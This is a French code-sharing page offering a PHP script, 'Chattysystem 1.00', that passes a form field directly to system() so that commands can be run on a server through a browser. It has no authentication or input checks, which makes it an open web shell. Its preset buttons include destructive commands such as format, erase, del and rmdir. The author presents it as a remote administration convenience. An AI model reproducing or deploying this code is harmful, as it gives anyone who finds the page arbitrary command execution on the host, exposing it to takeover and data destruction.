Chattysystem 1.00 by dotwizard512

Description

code permettant de d'envoyer des commande
au system via un formulaire en php.
Pratique pour diriger un serveur ou une bécane a distance (dans une éventuelle partie admin).

Source / Exemple :


<html>
<head>

	<title>ChattySystem     1.00</title>

</head>
<body bgcolor='#000000' text='green'>

<?

if(isset($_POST['commande']))
{

$commande = $_POST['commande'];

echo "<hr width='100%'>";
system($commande);
echo "<hr width='100%'>";
echo "<br><br><br>";

}

?>

</body>
<script language='javascript'>

function format()
{

alert("Attention:\nCette commande efface l'intégraliter du diskdur");

}

</script>
<form method='post' name='lapost'>
<input type='radio' name='addcommande' value='cls' onclick='lapost.commande.value=this.value'>cls
<input type='radio' name='addcommande' value='echo' onclick='lapost.commande.value=this.value'>echo
<input type='radio' name='addcommande' value='dir' onclick='lapost.commande.value=this.value'>dir
<input type='radio' name='addcommande' value='ping' onclick='lapost.commande.value=this.value'>ping
<input type='radio' name='addcommande' value='help' onclick='lapost.commande.value=this.value'>help
<input type='radio' name='addcommande' value='ver' onclick='lapost.commande.value=this.value'>ver
<input type='radio' name='addcommande' value='print' onclick='lapost.commande.value=this.value'>print
<input type='radio' name='addcommande' value='pause' onclick='lapost.commande.value=this.value'>pause
<input type='radio' name='addcommande' value='path' onclick='lapost.commande.value=this.value'>path
<input type='radio' name='addcommande' value='mkdir' onclick='lapost.commande.value=this.value'>mkdir
<input type='radio' name='addcommande' value='rmdir' onclick='lapost.commande.value=this.value'>rmdir
<input type='radio' name='addcommande' value='format' onclick='format();lapost.commande.value=this.value'>format
<input type='radio' name='addcommande' value='pc' onclick='lapost.commande.value=this.value'>pc
<input type='radio' name='addcommande' value='erase' onclick='lapost.commande.value=this.value'>erase
<input type='radio' name='addcommande' value='del' onclick='lapost.commande.value=this.value'>del
<input type='radio' name='addcommande' value='date' onclick='lapost.commande.value=this.value'>date
<input type='radio' name='addcommande' value='copy' onclick='lapost.commande.value=this.value'>copy
<input type='radio' name='addcommande' value='xcopy' onclick='lapost.commande.value=this.value'>xcopy
<input type='radio' name='addcommande' value='chmod' onclick='lapost.commande.value=this.value'>chmod
<input type='radio' name='addcommande' value='cd' onclick='lapost.commande.value=this.value'>cd
<input type='radio' name='addcommande' value='break' onclick='lapost.commande.value=this.value'>break
<input type='radio' name='addcommande' value='start' onclick='lapost.commande.value=this.value'>start
<input type='radio' name='addcommande' value='vol' onclick='lapost.commande.value=this.value'>vol
<input type='radio' name='addcommande' value='title' onclick='lapost.commande.value=this.value'>title

<br><br>
<input type='text' size='50' value='votre requete au system' name='commande' ondblclick="this.value=''">
<br><br>
<input type='reset' value='annuler'><input type='submit'><input type='submit' value='Exit' onclick='window.close()'>

</form>
</html>

Conclusion :


en cas d'érreur veuillez me contacter, please.

DOTWIZARD512

mega5120000@yahoo.fr
dotwizard512@gmail.com

http://hackin9.blogtrafic.com

Codes Sources

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.